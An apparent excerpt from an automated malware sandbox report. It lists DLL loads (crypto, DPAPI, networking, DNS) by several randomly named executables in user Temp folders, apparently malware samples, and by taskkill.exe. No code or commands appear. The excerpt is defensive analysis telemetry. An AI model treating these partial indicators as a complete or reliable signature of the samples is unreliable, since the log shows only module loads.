Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013536001\ae5cfd188c.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1013537001\37df924488.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1013539001\9c2827fca4.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1013538001\2ada66c192.exe	Section loaded: mswsock.dll
